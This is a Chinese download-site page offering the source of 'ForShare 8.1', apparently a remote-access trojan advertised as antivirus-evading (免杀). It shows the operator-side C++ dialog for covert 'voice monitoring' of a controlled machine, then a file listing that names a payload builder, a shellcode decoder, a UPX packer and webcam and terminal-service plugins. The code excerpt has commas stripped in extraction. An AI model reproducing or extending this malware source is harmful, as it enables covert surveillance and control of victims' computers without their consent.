资源简介
ForShare 8.1免杀部落VIP源码,一款不错的远程控制
代码片段和文件信息
// AudioDlg.cpp : implementation file
//
#include “stdafx.h“
#include “Client.h“
#include “AudioDlg.h“
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CAudioDlg dialog
CAudioDlg::CAudioDlg(CWnd* pParent CIOCPServer* pIOCPServer ClientContext *pContext)
: CDialog(CAudioDlg::IDD pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio = FALSE;
//}}AFX_DATA_INIT
m_hIcon = LoadIcon(AfxGetInstanceHandle() MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr 0 sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ““;
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX IDC_SEND_LOCALAUDIO m_send_localaudio);
DDX_Check(pDX IDC_SEND_LOCALAUDIO m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAudioDlg CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CAudioDlg message handlers
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
// Set the icon for this dialog. The framework does this automatically
// when the application‘s main window is not a dialog
SetIcon(m_hIcon TRUE); // Set big icon
SetIcon(m_hIcon FALSE); // Set small icon
CString str;
str.Format(_T(“\\\\%s - 语音监听“) m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext &bToken sizeof(BYTE));
m_hWorkThread = CreateThread(NULL 0 (LPTHREAD_START_ROUTINE)WorkThread (LPVOID)this 0 NULL);
m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);
return true;
}
void CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format(_T(“Receive %d KBytes“) m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1) m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}
void CAudioDlg::OnReceive()
{
}
void CAudioDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
// TODO: Add your message handler code here and/or call defaul
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 352256 2015-06-18 19:03 ForShare 8.1免杀部落VIP源码\Bin\Cache\Install.dat
文件 541 2015-06-18 19:03 ForShare 8.1免杀部落VIP源码\Bin\Cache\Install.exp
文件 1896 2015-06-18 19:03 ForShare 8.1免杀部落VIP源码\Bin\Cache\Install.lib
文件 532480 2015-06-18 19:02 ForShare 8.1免杀部落VIP源码\Bin\Plugins\BWebCam.dll
文件 390144 2004-08-17 20:00 ForShare 8.1免杀部落VIP源码\Bin\Plugins\mstsc.exe
文件 655360 2004-08-17 20:00 ForShare 8.1免杀部落VIP源码\Bin\Plugins\MSTSCAX.DLL
文件 80 2015-04-01 10:06 ForShare 8.1免杀部落VIP源码\Bin\Plugins\ShllCodeDec.bat
文件 36864 2014-01-25 15:04 ForShare 8.1免杀部落VIP源码\Bin\Plugins\ShllCodeDec.exe
文件 215552 2010-08-09 14:56 ForShare 8.1免杀部落VIP源码\Bin\Plugins\termsrv_t.dll
文件 266240 2010-05-17 10:09 ForShare 8.1免杀部落VIP源码\Bin\Plugins\upx.exe
文件 9307091 2012-11-05 20:11 ForShare 8.1免杀部落VIP源码\Bin\QQwry.dat
文件 86528 2013-11-18 01:05 ForShare 8.1免杀部落VIP源码\Bin\SkinH.dll
文件 13192 2009-08-18 22:39 ForShare 8.1免杀部落VIP源码\Bin\SkinH.she
文件 3461120 2015-06-18 18:20 ForShare 8.1免杀部落VIP源码\Bin\守护者培训基地远程管理软件内部版.exe
文件 3766 2012-05-20 17:42 ForShare 8.1免杀部落VIP源码\Client\AudioDlg.cpp
文件 1684 2012-04-11 10:34 ForShare 8.1免杀部落VIP源码\Client\AudioDlg.h
文件 2057 2013-04-01 01:02 ForShare 8.1免杀部落VIP源码\Client\BmpToAvi.cpp
文件 834 2012-02-22 22:35 ForShare 8.1免杀部落VIP源码\Client\BmpToAvi.h
文件 18583 2015-06-18 18:15 ForShare 8.1免杀部落VIP源码\Client\Build - 副本.cpp
文件 1699 2015-02-09 00:09 ForShare 8.1免杀部落VIP源码\Client\Build - 副本.h
文件 11682 2015-06-18 18:15 ForShare 8.1免杀部落VIP源码\Client\Build.cpp
文件 1578 2015-04-11 16:30 ForShare 8.1免杀部落VIP源码\Client\Build.h
文件 2260 2012-04-15 14:01 ForShare 8.1免杀部落VIP源码\Client\ChangeGroup.cpp
文件 1264 2012-04-15 14:00 ForShare 8.1免杀部落VIP源码\Client\ChangeGroup.h
文件 23576 2015-06-18 18:19 ForShare 8.1免杀部落VIP源码\Client\Client.clw
文件 6389 2015-06-27 15:10 ForShare 8.1免杀部落VIP源码\Client\Client.cpp
文件 11544 2015-06-18 19:03 ForShare 8.1免杀部落VIP源码\Client\Client.dsp
文件 520 2014-01-15 12:45 ForShare 8.1免杀部落VIP源码\Client\Client.dsw
文件 1555 2012-11-02 12:42 ForShare 8.1免杀部落VIP源码\Client\Client.h
文件 6472 2015-06-27 15:10 ForShare 8.1免杀部落VIP源码\Client\Client.plg
............此处省略410个文件信息
- 上一篇:开源版.zip
- 下一篇:QGIS中文教程PDF
评论
共有 条评论